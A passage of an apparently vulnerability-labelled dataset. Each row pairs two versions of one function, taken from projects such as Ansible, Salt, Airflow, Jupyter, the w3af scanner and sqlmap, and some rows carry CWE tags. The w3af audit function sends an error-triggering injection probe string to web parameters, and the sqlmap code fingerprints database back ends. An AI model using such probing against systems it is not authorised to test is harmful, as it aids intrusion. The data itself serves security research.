        # Modules can put information in here which will always be returned
        # in case client.fail() is called.
        self.fail_results = fail_results or {}

        merged_arg_spec = dict()
        merged_arg_spec.update(DOCKER_COMMON_ARGS)
        if argument_spec:
            merged_arg_spec.update(argument_spec)
            self.arg_spec = merged_arg_spec

        mutually_exclusive_params = []
        mutually_exclusive_params += DOCKER_MUTUALLY_EXCLUSIVE
        if mutually_exclusive:
            mutually_exclusive_params += mutually_exclusive

        required_together_params = []
        required_together_params += DOCKER_REQUIRED_TOGETHER
        if required_together:
            required_together_params += required_together

        self.module = AnsibleModule(
            argument_spec=merged_arg_spec,
            supports_check_mode=supports_check_mode,
            mutually_exclusive=mutually_exclusive_params,
            required_together=required_together_params,
            required_if=required_if)

        NEEDS_DOCKER_PY2 = (LooseVersion(min_docker_version) >= LooseVersion('2.0.0'))

        self.docker_py_version = LooseVersion(docker_version)

        if HAS_DOCKER_MODELS and HAS_DOCKER_SSLADAPTER:
            self.fail(""Cannot have both the docker-py and docker python modules (old and new version of Docker ""
                      ""SDK for Python) installed together as they use the same namespace and cause a corrupt ""
                      ""installation. Please uninstall both packages, and re-install only the docker-py or docker ""
                      ""python module. It is recommended to install the docker module if no support for Python 2.6 ""
                      ""is required. Please note that simply uninstalling one of the modules can leave the other ""
                      ""module in a broken state."")

        if not HAS_DOCKER_PY:
            if NEEDS_DOCKER_PY2:
                msg = ""Failed to import docker (Docker SDK for Python) - %s. Try `pip install docker`.""
            else:
                msg = ""Failed to import docker or docker-py (Docker SDK for Python) - %s. Try `pip install docker` or `pip install docker-py` (Python 2.6).""
            self.fail(msg % HAS_DOCKER_ERROR)

        if self.docker_py_version < LooseVersion(min_docker_version):
            msg = ""Error: Docker SDK for Python version is %s. Minimum version required is %s. ""
            if not NEEDS_DOCKER_PY2:
                # The minimal required version is < 2.0 (and the current version as well).
                # Advertise docker (instead of docker-py) for non-Python-2.6 users.
                msg += DOCKERPYUPGRADE_RECOMMEND_DOCKER
            elif docker_version < LooseVersion('2.0'):
                msg += DOCKERPYUPGRADE_SWITCH_TO_DOCKER
            else:
                msg += DOCKERPYUPGRADE_UPGRADE_DOCKER
            self.fail(msg % (docker_version, min_docker_version))

        self.debug = self.module.params.get('debug')
        self.check_mode = self.module.check_mode
        self._connect_params = get_connect_params(self.auth_params, fail_function=self.fail)

        try:
            super(AnsibleDockerClient, self).__init__(**self._connect_params)
        except APIError as exc:
            self.fail(""Docker API error: %s"" % exc)
        except Exception as exc:
            self.fail(""Error connecting: %s"" % exc)

        if min_docker_api_version is not None:
            self.docker_api_version_str = self.version()['ApiVersion']
            self.docker_api_version = LooseVersion(self.docker_api_version_str)
            if self.docker_api_version < LooseVersion(min_docker_api_version):
                self.fail('Docker API version is %s. Minimum version required is %s.' % (self.docker_api_version_str, min_docker_api_version))

        if option_minimal_versions is not None:
            self._get_minimal_versions(option_minimal_versions, option_minimal_versions_ignore_params)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/generic.py,0,"def audit(self, freq ):
        '''
        Find all kind of bugs without using a fixed database of errors.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'generic plugin is testing: ' + freq.getURL() )
        
        # First, get the original response and create the mutants
        oResponse = self._uri_opener.send_mutant(freq)
        mutants = createMutants( freq , ['', ] , oResponse=oResponse )
        
        for m in mutants:
            
            #    First I check that the current modified parameter in the mutant doesn't have
            #    an already reported vulnerability. I don't want to report vulnerabilities more
            #    than once.
            if (m.getURL(), m.getVar()) in self._already_reported:
                continue
            
            # Now, we request the limit (something that doesn't exist)
            #     If http://localhost/a.php?b=1 ; then I should request b=12938795  (random number)
            #     If http://localhost/a.php?b=abc ; then I should request b=hnv98yks (random alnum)
            limit_response = self._get_limit_response( m )
            
            # Now I request something that could generate an error
            #     If http://localhost/a.php?b=1 ; then I should request b=d'kcz'gj'""**5*(((*)
            #     If http://localhost/a.php?b=abc ; then I should request b=d'kcz'gj'""**5*(((*)
            #
            # I also try to trigger errors by sending empty strings
            #     If http://localhost/a.php?b=1 ; then I should request b=
            #     If http://localhost/a.php?b=abc ; then I should request b=
            for error_string in self._get_error_strings():
                
                if self._has_no_bug(m):
                    
                    m.setModValue( error_string )
                    error_response = self._uri_opener.send_mutant(m)
                
                    # Now I compare all responses
                    self._analyze_responses( oResponse, limit_response, error_response, m )",,andresriancho/w3af,434524e6fc7e61d86dc77f3db72b5e8cc7ffc615,"def audit(self, freq ):
        '''
        Find all kind of bugs without using a fixed database of errors.
        
        @param freq: A fuzzableRequest
        '''
        om.out.debug( 'generic plugin is testing: ' + freq.getURL() )
        
        # First, get the original response and create the mutants
        oResponse = self._sendMutant( freq , analyze=False )
        mutants = createMutants( freq , ['', ] , oResponse=oResponse )
        
        for m in mutants:
            
            #    First I check that the current modified parameter in the mutant doesn't have
            #    an already reported vulnerability. I don't want to report vulnerabilities more
            #    than once.
            if (m.getURL(), m.getVar()) in self._already_reported:
                continue
            
            # Now, we request the limit (something that doesn't exist)
            #     If http://localhost/a.php?b=1 ; then I should request b=12938795  (random number)
            #     If http://localhost/a.php?b=abc ; then I should request b=hnv98yks (random alnum)
            limit_response = self._get_limit_response( m )
            
            # Now I request something that could generate an error
            #     If http://localhost/a.php?b=1 ; then I should request b=d'kcz'gj'""**5*(((*)
            #     If http://localhost/a.php?b=abc ; then I should request b=d'kcz'gj'""**5*(((*)
            #
            # I also try to trigger errors by sending empty strings
            #     If http://localhost/a.php?b=1 ; then I should request b=
            #     If http://localhost/a.php?b=abc ; then I should request b=
            for error_string in self._get_error_strings():
                m.setModValue( error_string )
                error_response = self._sendMutant(  m , analyze=False )
            
                # Now I compare all responses
                self._analyzeResponses( oResponse, limit_response, error_response, m )"
,UNKNOWN,UNKNOWN,tests/pytests/unit/modules/test_aptpkg.py,1,"def test_sourceslist_architectures(repo_line):
    """"""
    Test SourcesList when architectures is in repo
    """"""
    with patch(""salt.utils.files.fopen"", mock_open(read_data=repo_line)):
        with patch(""pathlib.Path.is_file"", side_effect=[True, False]):
            sources = aptpkg.SourcesList()
            for source in sources:
                assert source.type == ""deb""
                assert source.uri == ""http://archive.ubuntu.com/ubuntu/""
                assert source.comps == [""main"", ""restricted""]
                assert source.dist == ""focal-updates""
                if "","" in repo_line:
                    assert source.architectures == [""amd64"", ""armel""]
                else:
                    assert source.architectures == [""amd64""]",CWE-703,saltstack/salt,6f569c39539f0ca13d004c477bcd4d824fa85670,"def test_sourceslist_architectures(repo_line):
    """"""
    Test SourcesList when architectures is in repo
    """"""
    with patch(""salt.utils.files.fopen"", mock_open(read_data=repo_line)):
        with patch(""pathlib.Path.is_file"", side_effect=[True, False]):
            sources = aptpkg.SourcesList()
            for source in sources:
                assert source.type == ""deb""
                assert source.uri == ""http://archive.ubuntu.com/ubuntu/""
                assert source.comps == [""main"", ""restricted""]
                assert source.dist == ""focal-updates""
                if "","" in repo_line:
                    assert source.architectures == [""amd64"", ""armel""]
                else:
                    assert source.architectures == [""amd64""]"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/openstack/os_router.py,0,"def main():
    argument_spec = openstack_full_argument_spec(
        state=dict(default='present', choices=['absent', 'present']),
        name=dict(required=True),
        admin_state_up=dict(type='bool', default=True),
        enable_snat=dict(type='bool', default=True),
        network=dict(default=None),
        interfaces=dict(type='list', default=None),
        external_fixed_ips=dict(type='list', default=None),
    )

    module_kwargs = openstack_module_kwargs()
    module = AnsibleModule(argument_spec,
                           supports_check_mode=True,
                           **module_kwargs)

    if not HAS_SHADE:
        module.fail_json(msg='shade is required for this module')

    state = module.params['state']
    name = module.params['name']
    network = module.params['network']

    if module.params['external_fixed_ips'] and not network:
        module.fail_json(msg='network is required when supplying external_fixed_ips')

    try:
        cloud = shade.openstack_cloud(**module.params)
        router = cloud.get_router(name)

        net = None
        if network:
            net = cloud.get_network(network)
            if not net:
                module.fail_json(msg='network %s not found' % network)

        # Validate and cache the subnet IDs so we can avoid duplicate checks
        # and expensive API calls.
        external_ids, internal_ids = _validate_subnets(module, cloud)

        if module.check_mode:
            module.exit_json(
                changed=_system_state_change(cloud, module, router, net, internal_ids)
            )

        if state == 'present':
            changed = False

            if not router:
                kwargs = _build_kwargs(cloud, module, router, net)
                router = cloud.create_router(**kwargs)
                for internal_subnet_id in internal_ids:
                    cloud.add_router_interface(router, subnet_id=internal_subnet_id)
                changed = True
            else:
                if _needs_update(cloud, module, router, net, internal_ids):
                    kwargs = _build_kwargs(cloud, module, router, net)
                    router = cloud.update_router(**kwargs)

                    # On a router update, if any internal interfaces were supplied,
                    # just detach all existing internal interfaces and attach the new.
                    if internal_ids:
                        ports = cloud.list_router_interfaces(router, 'internal')
                        for port in ports:
                            cloud.remove_router_interface(router, port_id=port['id'])
                        for internal_subnet_id in internal_ids:
                            cloud.add_router_interface(router, subnet_id=internal_subnet_id)

                    changed = True

            module.exit_json(changed=changed,
                             router=router,
                             id=router['id'])

        elif state == 'absent':
            if not router:
                module.exit_json(changed=False)
            else:
                # We need to detach all internal interfaces on a router before
                # we will be allowed to delete it.
                ports = cloud.list_router_interfaces(router, 'internal')
                for port in ports:
                    cloud.remove_router_interface(router, port_id=port['id'])
                cloud.delete_router(name)
                module.exit_json(changed=True)

    except shade.OpenStackCloudException as e:
        module.fail_json(msg=str(e))",,ansible/ansible,aed44e88867702a80fb5466690d55affa9a5e362,"def main():
    argument_spec = openstack_full_argument_spec(
        state=dict(default='present', choices=['absent', 'present']),
        name=dict(required=True),
        admin_state_up=dict(type='bool', default=True),
        enable_snat=dict(type='bool', default=True),
        network=dict(default=None),
        interfaces=dict(type='list', default=None),
        external_fixed_ips=dict(type='list', default=None),
    )

    module_kwargs = openstack_module_kwargs()
    module = AnsibleModule(argument_spec,
                           supports_check_mode=True,
                           **module_kwargs)

    if not HAS_SHADE:
        module.fail_json(msg='shade is required for this module')

    state = module.params['state']
    name = module.params['name']
    network = module.params['network']

    if module.params['external_fixed_ips'] and not network:
        module.fail_json(msg='network is required when supplying external_fixed_ips')

    try:
        cloud = shade.openstack_cloud(**module.params)
        router = cloud.get_router(name)

        net = None
        if network:
            net = cloud.get_network(network)
            if not net:
                module.fail_json(msg='network %s not found' % network)

        # Validate and cache the subnet IDs so we can avoid duplicate checks
        # and expensive API calls.
        external_ids, internal_ids = _validate_subnets(module, cloud)

        if module.check_mode:
            module.exit_json(
                changed=_system_state_change(cloud, module, router, net, internal_ids)
            )

        if state == 'present':
            changed = False

            if not router:
                kwargs = _build_kwargs(cloud, module, router, net)
                router = cloud.create_router(**kwargs)
                for internal_subnet_id in internal_ids:
                    cloud.add_router_interface(router, subnet_id=internal_subnet_id)
                changed = True
            else:
                if _needs_update(cloud, module, router, net, internal_ids):
                    kwargs = _build_kwargs(cloud, module, router, net)
                    router = cloud.update_router(**kwargs)

                    # On a router update, if any internal interfaces were supplied,
                    # just detach all existing internal interfaces and attach the new.
                    if internal_ids:
                        ports = cloud.list_router_interfaces(router, 'internal')
                        for port in ports:
                            cloud.remove_router_interface(router, port_id=port['id'])
                        for internal_subnet_id in internal_ids:
                            cloud.add_router_interface(router, subnet_id=internal_subnet_id)

                    changed = True

            module.exit_json(changed=changed,
                             router=router,
                             id=router['id'])

        elif state == 'absent':
            if not router:
                module.exit_json(changed=False)
            else:
                # We need to detach all internal interfaces on a router before
                # we will be allowed to delete it.
                ports = cloud.list_router_interfaces(router, 'internal')
                for port in ports:
                    cloud.remove_router_interface(router, port_id=port['id'])
                cloud.delete_router(name)
                module.exit_json(changed=True)

    except shade.OpenStackCloudException as e:
        module.fail_json(msg=e.message)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/views.py,0,"def task_stats(self, session=None):
        TI = models.TaskInstance
        DagRun = models.DagRun
        Dag = models.DagModel

        # Filter by get parameters
        selected_dag_ids = {
            unquote(dag_id) for dag_id in request.args.get('dag_ids', '').split(',') if dag_id
        }

        LastDagRun = (
            session.query(DagRun.dag_id, sqla.func.max(DagRun.execution_date).label('execution_date'))
            .join(Dag, Dag.dag_id == DagRun.dag_id)
            .filter(DagRun.state != State.RUNNING)
            .filter(Dag.is_active == True)  # noqa: E712
            .filter(Dag.is_subdag == False)  # noqa: E712
            .group_by(DagRun.dag_id)
        )

        RunningDagRun = (
            session.query(DagRun.dag_id, DagRun.execution_date)
            .join(Dag, Dag.dag_id == DagRun.dag_id)
            .filter(DagRun.state == State.RUNNING)
            .filter(Dag.is_active == True)  # noqa: E712
            .filter(Dag.is_subdag == False)  # noqa: E712
        )

        if selected_dag_ids:
            LastDagRun = LastDagRun.filter(DagRun.dag_id.in_(selected_dag_ids))
            RunningDagRun = RunningDagRun.filter(DagRun.dag_id.in_(selected_dag_ids))

        LastDagRun = LastDagRun.subquery('last_dag_run')
        RunningDagRun = RunningDagRun.subquery('running_dag_run')

        # Select all task_instances from active dag_runs.
        # If no dag_run is active, return task instances from most recent dag_run.
        LastTI = (
            session.query(TI.dag_id.label('dag_id'), TI.state.label('state'))
            .join(LastDagRun, and_(
                LastDagRun.c.dag_id == TI.dag_id,
                LastDagRun.c.execution_date == TI.execution_date))
        )
        RunningTI = (
            session.query(TI.dag_id.label('dag_id'), TI.state.label('state'))
            .join(RunningDagRun, and_(
                RunningDagRun.c.dag_id == TI.dag_id,
                RunningDagRun.c.execution_date == TI.execution_date))
        )

        if selected_dag_ids:
            LastTI = LastTI.filter(TI.dag_id.in_(selected_dag_ids))
            RunningTI = RunningTI.filter(TI.dag_id.in_(selected_dag_ids))

        UnionTI = union_all(LastTI, RunningTI).alias('union_ti')
        qry = (
            session.query(UnionTI.c.dag_id, UnionTI.c.state, sqla.func.count())
            .group_by(UnionTI.c.dag_id, UnionTI.c.state)
        )

        data = {}
        for dag_id, state, count in qry:
            if dag_id not in data:
                data[dag_id] = {}
            data[dag_id][state] = count

        payload = {}

        dag_ids = selected_dag_ids or {dag_id for (dag_id,) in session.query(Dag.dag_id)}

        for dag_id in dag_ids:
            payload[dag_id] = []
            for state in State.task_states:
                count = data.get(dag_id, {}).get(state, 0)
                payload[dag_id].append({
                    'state': state,
                    'count': count,
                    'color': State.color(state)
                })
        return wwwutils.json_response(payload)",CWE-Unknown,apache/airflow,d0b0207c833081eee39119f8358cd066fd37e365,"def task_stats(self, session=None):
        TI = models.TaskInstance
        DagRun = models.DagRun
        Dag = models.DagModel

        # Filter by get parameters
        selected_dag_ids = {
            unquote(dag_id) for dag_id in request.args.get('dag_ids', '').split(',') if dag_id
        }

        LastDagRun = (
            session.query(DagRun.dag_id, sqla.func.max(DagRun.execution_date).label('execution_date'))
                .join(Dag, Dag.dag_id == DagRun.dag_id)
                .filter(DagRun.state != State.RUNNING)
                .filter(Dag.is_active == True)  # noqa: E712
                .filter(Dag.is_subdag == False)  # noqa: E712
                .group_by(DagRun.dag_id)
        )

        RunningDagRun = (
            session.query(DagRun.dag_id, DagRun.execution_date)
                .join(Dag, Dag.dag_id == DagRun.dag_id)
                .filter(DagRun.state == State.RUNNING)
                .filter(Dag.is_active == True)  # noqa: E712
                .filter(Dag.is_subdag == False)  # noqa: E712
        )

        if selected_dag_ids:
            LastDagRun = LastDagRun.filter(DagRun.dag_id.in_(selected_dag_ids))
            RunningDagRun = RunningDagRun.filter(DagRun.dag_id.in_(selected_dag_ids))

        LastDagRun = LastDagRun.subquery('last_dag_run')
        RunningDagRun = RunningDagRun.subquery('running_dag_run')

        # Select all task_instances from active dag_runs.
        # If no dag_run is active, return task instances from most recent dag_run.
        LastTI = (
            session.query(TI.dag_id.label('dag_id'), TI.state.label('state'))
            .join(LastDagRun, and_(
                LastDagRun.c.dag_id == TI.dag_id,
                LastDagRun.c.execution_date == TI.execution_date))
        )
        RunningTI = (
            session.query(TI.dag_id.label('dag_id'), TI.state.label('state'))
            .join(RunningDagRun, and_(
                RunningDagRun.c.dag_id == TI.dag_id,
                RunningDagRun.c.execution_date == TI.execution_date))
        )

        if selected_dag_ids:
            LastTI = LastTI.filter(TI.dag_id.in_(selected_dag_ids))
            RunningTI = RunningTI.filter(TI.dag_id.in_(selected_dag_ids))

        UnionTI = union_all(LastTI, RunningTI).alias('union_ti')
        qry = (
            session.query(UnionTI.c.dag_id, UnionTI.c.state, sqla.func.count())
            .group_by(UnionTI.c.dag_id, UnionTI.c.state)
        )

        data = {}
        for dag_id, state, count in qry:
            if dag_id not in data:
                data[dag_id] = {}
            data[dag_id][state] = count

        payload = {}

        dag_ids = selected_dag_ids or {dag_id for (dag_id,) in session.query(Dag.dag_id)}

        for dag_id in dag_ids:
            payload[dag_id] = []
            for state in State.task_states:
                count = data.get(dag_id, {}).get(state, 0)
                payload[dag_id].append({
                    'state': state,
                    'count': count,
                    'color': State.color(state)
                })
        return wwwutils.json_response(payload)"
,UNKNOWN,UNKNOWN,tests/task/task_runner/test_standard_task_runner.py,1,"def test_start_and_terminate(self, mock_init, mock_read_task_utilization):
        mock_init.return_value = ""/tmp/any""
        Job = mock.Mock()
        Job.job_type = None
        Job.task_instance = mock.MagicMock()
        Job.task_instance.run_as_user = None
        Job.task_instance.command_as_list.return_value = [
            ""airflow"",
            ""tasks"",
            ""run"",
            ""test_on_kill"",
            ""task1"",
            ""2016-01-01"",
        ]
        job_runner = LocalTaskJobRunner(job=Job, task_instance=Job.task_instance)
        task_runner = StandardTaskRunner(job_runner)
        task_runner.start()
        # Wait until process sets its pgid to be equal to pid
        with timeout(seconds=1):
            while True:
                runner_pgid = os.getpgid(task_runner.process.pid)
                if runner_pgid == task_runner.process.pid:
                    break
                time.sleep(0.01)

        assert runner_pgid > 0
        assert runner_pgid != os.getpgid(0), ""Task should be in a different process group to us""
        processes = list(self._procs_in_pgroup(runner_pgid))
        task_runner.terminate()

        for process in processes:
            assert not psutil.pid_exists(process.pid), f""{process} is still alive""

        assert task_runner.return_code() is not None
        mock_read_task_utilization.assert_called()",CWE-703,apache/airflow,aa9bb4bb47878c2f4aec0df58a2edbe0e1e1f797,"def test_start_and_terminate(self, mock_init, mock_read_task_utilization):
        mock_init.return_value = ""/tmp/any""
        Job = mock.Mock()
        Job.job_type = None
        Job.task_instance = mock.MagicMock()
        Job.task_instance.run_as_user = None
        Job.task_instance.command_as_list.return_value = [
            ""airflow"",
            ""tasks"",
            ""run"",
            ""test_on_kill"",
            ""task1"",
            ""2016-01-01"",
        ]
        job_runner = LocalTaskJobRunner(job=Job, task_instance=Job.task_instance)
        task_runner = StandardTaskRunner(job_runner)
        task_runner.start()
        # Wait until process sets its pgid to be equal to pid
        with timeout(seconds=1):
            while True:
                runner_pgid = os.getpgid(task_runner.process.pid)
                if runner_pgid == task_runner.process.pid:
                    break
                time.sleep(0.01)

        assert runner_pgid > 0
        assert runner_pgid != os.getpgid(0), ""Task should be in a different process group to us""
        processes = list(self._procs_in_pgroup(runner_pgid))
        task_runner.terminate()

        for process in processes:
            assert not psutil.pid_exists(process.pid), f""{process} is still alive""

        assert task_runner.return_code() is not None
        mock_read_task_utilization.assert_called()"
,UNKNOWN,UNKNOWN,tests/pytests/unit/utils/test_slack.py,1,"def test_query():
    """"""
    Test case for the query function in the slack utils module
    """"""
    function = ""message""
    api_key = ""xoxp-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxxxx""
    args = None
    method = ""POST""
    header_dict = {""Content-Type"": ""application/x-www-form-urlen coded""}
    data = ""channel=%23general&username=Slack+User&as_user=Slack+User&text=%60%60%60id%3A+minion%0D%0Afunction%3A+test.ping%0D%0Afunction+args%3A+%5B%5D%0D%0Ajid%3A+20201017004822956482%0D%0Areturn%3A+true%0A%0D%0A%60%60%60""
    opts = None

    mock_result = {
        ""body"": '{""ok"": false, ""error"": ""token_revoked""}',
        ""status"": 200,
        ""dict"": {""ok"": False, ""error"": ""token_revoked""},
    }
    mock = MagicMock(return_value=mock_result)
    with patch(""salt.utils.http.query"", mock):
        expected = {""message"": ""token_revoked"", ""res"": False}
        ret = slack.query(function, api_key, args, method, header_dict, data, opts)
        assert ret == expected

    mock_result = {
        ""status"": 0,
        ""error"": (
            ""[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get""
            "" local issuer certificate (_ssl.c:1076)""
        ),
    }
    mock = MagicMock(return_value=mock_result)
    with patch(""salt.utils.http.query"", mock):
        expected = {""message"": ""invalid_auth"", ""res"": False}
        ret = slack.query(function, api_key, args, method, header_dict, data, opts)
        assert ret == expected

    mock_result = {""status"": 0, ""dict"": {}}
    mock = MagicMock(return_value=mock_result)
    with patch(""salt.utils.http.query"", mock):
        expected = {""message"": ""Unknown response"", ""res"": False}
        ret = slack.query(function, api_key, args, method, header_dict, data, opts)
        assert ret == expected",CWE-703,saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_query():
    """"""
    Test case for the query function in the slack utils module
    """"""
    function = ""message""
    api_key = ""xoxp-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxxxx""
    args = None
    method = ""POST""
    header_dict = {""Content-Type"": ""application/x-www-form-urlen coded""}
    data = ""channel=%23general&username=Slack+User&as_user=Slack+User&text=%60%60%60id%3A+minion%0D%0Afunction%3A+test.ping%0D%0Afunction+args%3A+%5B%5D%0D%0Ajid%3A+20201017004822956482%0D%0Areturn%3A+true%0A%0D%0A%60%60%60""
    opts = None

    mock_result = {
        ""body"": '{""ok"": false, ""error"": ""token_revoked""}',
        ""status"": 200,
        ""dict"": {""ok"": False, ""error"": ""token_revoked""},
    }
    mock = MagicMock(return_value=mock_result)
    with patch(""salt.utils.http.query"", mock):
        expected = {""message"": ""token_revoked"", ""res"": False}
        ret = slack.query(function, api_key, args, method, header_dict, data, opts)
        assert ret == expected

    mock_result = {
        ""status"": 0,
        ""error"": ""[SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1076)"",
    }
    mock = MagicMock(return_value=mock_result)
    with patch(""salt.utils.http.query"", mock):
        expected = {""message"": ""invalid_auth"", ""res"": False}
        ret = slack.query(function, api_key, args, method, header_dict, data, opts)
        assert ret == expected

    mock_result = {""status"": 0, ""dict"": {}}
    mock = MagicMock(return_value=mock_result)
    with patch(""salt.utils.http.query"", mock):
        expected = {""message"": ""Unknown response"", ""res"": False}
        ret = slack.query(function, api_key, args, method, header_dict, data, opts)
        assert ret == expected"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/controller/handler.py,0,"def setHandler():
    """"""
    Detect which is the target web application back-end database
    management system.
    """"""

    items = [
                  (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
                  (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
                  (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
                  (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
                  (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
                  (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
                  (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
                  (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
                  (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
                  (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
                  (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
                  (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
            ]

    _ = max(_ if (conf.get(""dbms"") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or """").lower() in _[1] else None for _ in items)
    if _:
        items.remove(_)
        items.insert(0, _)

    for dbms, aliases, Handler, Connector in items:
        handler = Handler()
        conf.dbmsConnector = Connector()

        if conf.direct:
            dialect = DBMS_DICT[dbms][3]

            if dialect:
                sqlalchemy = SQLAlchemy(dialect=dialect)
                sqlalchemy.connect()

                if sqlalchemy.connector:
                    conf.dbmsConnector = sqlalchemy
                else:
                    try:
                        conf.dbmsConnector.connect()
                    except NameError:
                        pass
            else:
                conf.dbmsConnector.connect()

        if handler.checkDbms():
            if kb.resolutionDbms:
                conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
            else:
                conf.dbmsHandler = handler

            conf.dbmsHandler._dbms = dbms
            break
        else:
            conf.dbmsConnector = None

    # At this point back-end DBMS is correctly fingerprinted, no need
    # to enforce it anymore
    Backend.flushForcedDbms()",,sqlmapproject/sqlmap,5745d650f8d27ba9fd7ad0d53a16ded86876d5fa,"def setHandler():
    """"""
    Detect which is the target web application back-end database
    management system.
    """"""

    items = [
                  (DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
                  (DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
                  (DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
                  (DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
                  (DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
                  (DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
                  (DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
                  (DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
                  (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
                  (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
                  (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
                  (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
            ]

    _ = max(_ if (Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or """").lower() in _[1] else None for _ in items)
    if _:
        items.remove(_)
        items.insert(0, _)

    for dbms, aliases, Handler, Connector in items:
        handler = Handler()
        conf.dbmsConnector = Connector()

        if conf.direct:
            dialect = DBMS_DICT[dbms][3]

            if dialect:
                sqlalchemy = SQLAlchemy(dialect=dialect)
                sqlalchemy.connect()

                if sqlalchemy.connector:
                    conf.dbmsConnector = sqlalchemy
                else:
                    try:
                        conf.dbmsConnector.connect()
                    except NameError:
                        pass
            else:
                conf.dbmsConnector.connect()

        if handler.checkDbms():
            if kb.resolutionDbms:
                conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
            else:
                conf.dbmsHandler = handler

            conf.dbmsHandler._dbms = dbms
            break
        else:
            conf.dbmsConnector = None

    # At this point back-end DBMS is correctly fingerprinted, no need
    # to enforce it anymore
    Backend.flushForcedDbms()"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/services/sessions/tests/test_sessionmanager.py,0,"def test_get_session(self):
        sm = SessionManager()
        session_id = sm.get_session_id()
        sm.save_session(session_id=session_id, name='test.ipynb', path='/path/to/', kernel_id='5678', ws_url='ws_url')
        model = sm.get_session(id=session_id)
        expected = {'id':session_id, 'notebook':{'name':u'test.ipynb', 'path': u'/path/to/'}, 'kernel':{'id':u'5678', 'ws_url':u'ws_url'}}
        self.assertEqual(model, expected)",,jupyter/notebook,c26700cd3a4ad00eabed64d68251cfcdefebc370,"def test_get_session(self):
        sm = SessionManager()
        session_id = sm.get_session_id()
        sm.save_session(session_id=session_id, name='test.ipynb', path='/path/to/', kernel='5678')
        model = sm.get_session(id=session_id)
        expected = {'id':session_id, 'name':u'test.ipynb', 'path': u'/path/to/', 'kernel':{'id':u'5678', 'ws_url': u''}}
        self.assertEqual(model, expected)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/models/dagrun.py,0,"def _emit_true_scheduling_delay_stats_for_finished_state(self, finished_tis: list[TI]) -> None:
        """"""Emit the true scheduling delay stats.

        The true scheduling delay stats is defined as the time when the first
        task in DAG starts minus the expected DAG run datetime.

        This helper method is used in ``update_state`` when the state of the
        DAG run is updated to a completed status (either success or failure).
        It finds the first started task within the DAG, calculates the run's
        expected start time based on the logical date and timetable, and gets
        the delay from the difference of these two values.

        The emitted data may contain outliers (e.g. when the first task was
        cleared, so the second task's start date will be used), but we can get
        rid of the outliers on the stats side through dashboards tooling.

        Note that the stat will only be emitted for scheduler-triggered DAG runs
        (i.e. when ``external_trigger`` is *False* and ``clear_number`` is equal to 0).
        """"""
        if self.state == TaskInstanceState.RUNNING:
            return
        if self.external_trigger:
            return
        if self.clear_number > 0:
            return
        if not finished_tis:
            return

        try:
            dag = self.get_dag()

            if not dag.timetable.periodic:
                # We can't emit this metric if there is no following schedule to calculate from!
                return

            try:
                first_start_date = min(ti.start_date for ti in finished_tis if ti.start_date)
            except ValueError:  # No start dates at all.
                pass
            else:
                # TODO: Logically, this should be DagRunInfo.run_after, but the
                # information is not stored on a DagRun, only before the actual
                # execution on DagModel.next_dagrun_create_after. We should add
                # a field on DagRun for this instead of relying on the run
                # always happening immediately after the data interval.
                data_interval_end = dag.get_run_data_interval(self).end
                true_delay = first_start_date - data_interval_end
                if true_delay.total_seconds() > 0:
                    Stats.timing(
                        f""dagrun.{dag.dag_id}.first_task_scheduling_delay"", true_delay, tags=self.stats_tags
                    )
                    Stats.timing(""dagrun.first_task_scheduling_delay"", true_delay, tags=self.stats_tags)
        except Exception:
            self.log.warning(""Failed to record first_task_scheduling_delay metric:"", exc_info=True)",CWE-Unknown,apache/airflow,131a2e4e292a95a984d197fbc5e24149f8135e08,"def _emit_true_scheduling_delay_stats_for_finished_state(self, finished_tis: list[TI]) -> None:
        """"""Emit the true scheduling delay stats.

        The true scheduling delay stats is defined as the time when the first
        task in DAG starts minus the expected DAG run datetime.

        This helper method is used in ``update_state`` when the state of the
